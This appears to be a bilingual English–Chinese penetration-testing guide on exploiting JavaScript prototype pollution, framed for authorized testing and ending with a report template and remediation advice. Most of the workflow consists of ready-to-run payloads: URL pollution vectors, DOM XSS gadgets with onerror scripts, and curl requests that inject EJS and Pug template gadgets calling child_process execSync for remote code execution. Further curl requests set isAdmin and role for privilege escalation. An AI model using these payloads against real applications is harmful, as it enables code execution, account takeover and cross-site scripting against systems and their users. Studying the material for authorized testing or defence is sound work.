exploiting-prototype-pollution-in-javascript

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Exploiting Prototype Pollution in JavaScript

利用JavaScript原型污染

When to Use

适用场景

  • When testing Node.js or JavaScript-heavy web applications
  • During assessment of APIs accepting deep-merged JSON objects
  • When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
  • During code review of object merge/clone/extend operations
  • When evaluating npm packages for prototype pollution gadgets
  • 测试Node.js或重度依赖JavaScript的Web应用时
  • 评估接受深度合并JSON对象的API时
  • 测试客户端JavaScript框架中通过原型污染实现DOM XSS的可能性时
  • 审核对象合并/克隆/扩展操作的代码时
  • 评估npm包中的原型污染利用链(gadget)时

Prerequisites

前提条件

  • Burp Suite with DOM Invader extension for client-side prototype pollution detection
  • Node.js development environment for server-side testing
  • Understanding of JavaScript prototype chain and object inheritance
  • Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
  • Prototype Pollution Gadgets Scanner Burp extension for server-side detection
  • Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
  • 安装了DOM Invader扩展的Burp Suite,用于客户端原型污染检测
  • Node.js开发环境,用于服务器端测试
  • 了解JavaScript原型链和对象继承机制
  • 熟悉常见的污染利用链(来源、接收端和可利用属性)
  • 用于服务器端检测的Prototype Pollution Gadgets Scanner Burp扩展
  • 用于客户端原型操作的浏览器开发者控制台
法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权测试不属于您或未获得书面许可的系统是非法行为,可能违反计算机欺诈相关法律。

Workflow

操作流程

Step 1 — Identify Prototype Pollution Sources

步骤1 — 识别原型污染源

javascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
javascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

步骤2 — 测试服务器端原型污染

bash
undefined
bash
undefined

Test via JSON body with proto

Test via JSON body with proto

curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true}}'

Test via constructor.prototype

Test via constructor.prototype

curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'

Test for status code reflection (detection technique)

Test for status code reflection (detection technique)

Pollute status property to detect server-side pollution

Pollute status property to detect server-side pollution

curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"status": 510}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"status": 510}}'

If response returns 510, server-side pollution confirmed

If response returns 510, server-side pollution confirmed

JSON content type pollution

JSON content type pollution

curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
undefined
curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
undefined

Step 3 — Exploit Client-Side for DOM XSS

步骤3 — 利用客户端原型污染实现DOM XSS

javascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
javascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

步骤4 — 利用服务器端原型污染实现RCE

bash
undefined
bash
undefined

Node.js child_process gadget (RCE)

Node.js child_process gadget (RCE)

If application calls child_process.execSync(), spawn(), or fork():

If application calls child_process.execSync(), spawn(), or fork():

curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

EJS template engine gadget

EJS template engine gadget

curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"proto": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require("child_process").execSync("id")"}}'
curl -X POST http://target.com/api/update
-H "Content-Type: application/json"
-d '{"proto": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require("child_process").execSync("id")"}}'

Handlebars template gadget

Handlebars template gadget

curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
curl -X POST http://target.com/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

Pug template engine gadget

Pug template engine gadget

curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"block": {"type": "Text", "line": "process.mainModule.require("child_process").execSync("id")"}}}'
undefined
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"block": {"type": "Text", "line": "process.mainModule.require("child_process").execSync("id")"}}}'
undefined

Step 5 — Exploit for Authentication and Authorization Bypass

步骤5 — 利用原型污染绕过身份验证与授权

bash
undefined
bash
undefined

Pollute isAdmin or role property

Pollute isAdmin or role property

curl -X POST http://target.com/api/profile
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true, "role": "admin"}}'
curl -X POST http://target.com/api/profile
-H "Content-Type: application/json"
-d '{"proto": {"isAdmin": true, "role": "admin"}}'

Pollute auth-related properties

Pollute auth-related properties

curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"verified": true, "emailVerified": true}}'
curl -X POST http://target.com/api/settings
-H "Content-Type: application/json"
-d '{"proto": {"verified": true, "emailVerified": true}}'

Bypass JSON schema validation

Bypass JSON schema validation

curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"additionalProperties": true}}'
undefined
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"additionalProperties": true}}'
undefined

Step 6 — Detect with Automated Tools

步骤6 — 使用自动化工具检测

bash
undefined
bash
undefined

Use ppfuzz for automated detection

Use ppfuzz for automated detection

ppfuzz -l urls.txt -o results.txt
ppfuzz -l urls.txt -o results.txt

Nuclei templates for prototype pollution

Nuclei templates for prototype pollution

echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

Server-side detection with Burp Scanner

Server-side detection with Burp Scanner

Enable "Server-side prototype pollution" scan check

Enable "Server-side prototype pollution" scan check

Review issues in Burp Dashboard

Review issues in Burp Dashboard

Manual detection via timing/error-based techniques

Manual detection via timing/error-based techniques

Pollute a property that causes detectable server behavior change

Pollute a property that causes detectable server behavior change

curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"toString": "polluted"}}'
curl -X POST http://target.com/api/data
-H "Content-Type: application/json"
-d '{"proto": {"toString": "polluted"}}'

If server errors (500), pollution is working

If server errors (500), pollution is working

undefined
undefined

Key Concepts

核心概念

ConceptDescription
Prototype ChainJavaScript inheritance mechanism where objects inherit from Object.prototype
protoAccessor property that exposes the prototype of an object
Pollution SourceInput point that allows setting properties on Object.prototype
Pollution SinkCode that reads a polluted property and performs a dangerous operation
GadgetA property that flows from prototype to a dangerous sink (source-to-sink chain)
Deep MergeRecursive object merge functions that may process proto as a regular key
constructor.prototypeAlternative path to access and pollute the prototype object
概念说明
原型链JavaScript的继承机制,对象从Object.prototype继承属性
proto用于暴露对象原型的访问器属性
污染源允许在Object.prototype上设置属性的输入点
污染接收端读取污染属性并执行危险操作的代码
利用链(Gadget)从原型流向危险接收端的属性(来源到接收端的链路)
深度合并可能将__proto__视为常规键处理的递归对象合并函数
constructor.prototype访问并污染原型对象的替代路径

Tools & Systems

工具与系统

ToolPurpose
DOM InvaderBurp Suite built-in tool for detecting client-side prototype pollution
Prototype Pollution Gadgets ScannerBurp extension for server-side gadget detection
ppfuzzAutomated prototype pollution fuzzer
NucleiTemplate-based scanner with prototype pollution templates
server-side-prototype-pollutionBurp Scanner check for server-side detection
ESLint security pluginStatic analysis for prototype pollution patterns in code
工具用途
DOM InvaderBurp Suite内置工具,用于检测客户端原型污染
Prototype Pollution Gadgets Scanner用于服务器端利用链检测的Burp扩展
ppfuzz自动化原型污染模糊测试工具
Nuclei基于模板的扫描器,包含原型污染检测模板
server-side-prototype-pollutionBurp Scanner中用于服务器端检测的检查项
ESLint security plugin用于代码中原型污染模式静态分析的插件

Common Scenarios

常见场景

  1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
  2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
  3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
  4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
  5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives
  1. 通过分析脚本实现DOM XSS — 污染transport_url属性,利用读取原型中URL的分析跟踪脚本注入JavaScript
  2. 通过模板引擎实现RCE — 利用EJS/Pug/Handlebars的利用链,通过污染的模板渲染属性执行任意命令
  3. 管理员权限提升 — 污染isAdmin或role属性,绕过Node.js应用中的授权检查
  4. 绕过JSON Schema验证 — 污染模式验证属性,绕过输入验证并注入恶意数据
  5. 拒绝服务(DoS) — 污染toString或valueOf,在对象被强制转换为原始值时导致应用崩溃

Output Format

输出格式

undefined
undefined

Prototype Pollution Assessment Report

Prototype Pollution Assessment Report

  • Target: http://target.com
  • Type: Server-Side Prototype Pollution
  • Impact: Remote Code Execution via EJS template gadget
  • Target: http://target.com
  • Type: Server-Side Prototype Pollution
  • Impact: Remote Code Execution via EJS template gadget

Findings

Findings

#SourceGadgetSinkImpact
1POST /api/merge protoEJS escapeFunctionTemplate renderRCE
2POST /api/profile protoisAdmin propertyAuth middlewarePrivilege Escalation
3URL ?proto[innerHTML]innerHTML propertyDOM writeClient-Side XSS
#SourceGadgetSinkImpact
1POST /api/merge protoEJS escapeFunctionTemplate renderRCE
2POST /api/profile protoisAdmin propertyAuth middlewarePrivilege Escalation
3URL ?proto[innerHTML]innerHTML propertyDOM writeClient-Side XSS

Remediation

Remediation

  • Use Object.create(null) for configuration objects instead of {}
  • Freeze Object.prototype with Object.freeze(Object.prototype)
  • Sanitize proto and constructor keys in user input
  • Use Map instead of plain objects for user-controlled data
  • Update vulnerable npm packages (lodash, merge-deep, etc.)
undefined
  • Use Object.create(null) for configuration objects instead of {}
  • Freeze Object.prototype with Object.freeze(Object.prototype)
  • Sanitize proto and constructor keys in user input
  • Use Map instead of plain objects for user-controlled data
  • Update vulnerable npm packages (lodash, merge-deep, etc.)
undefined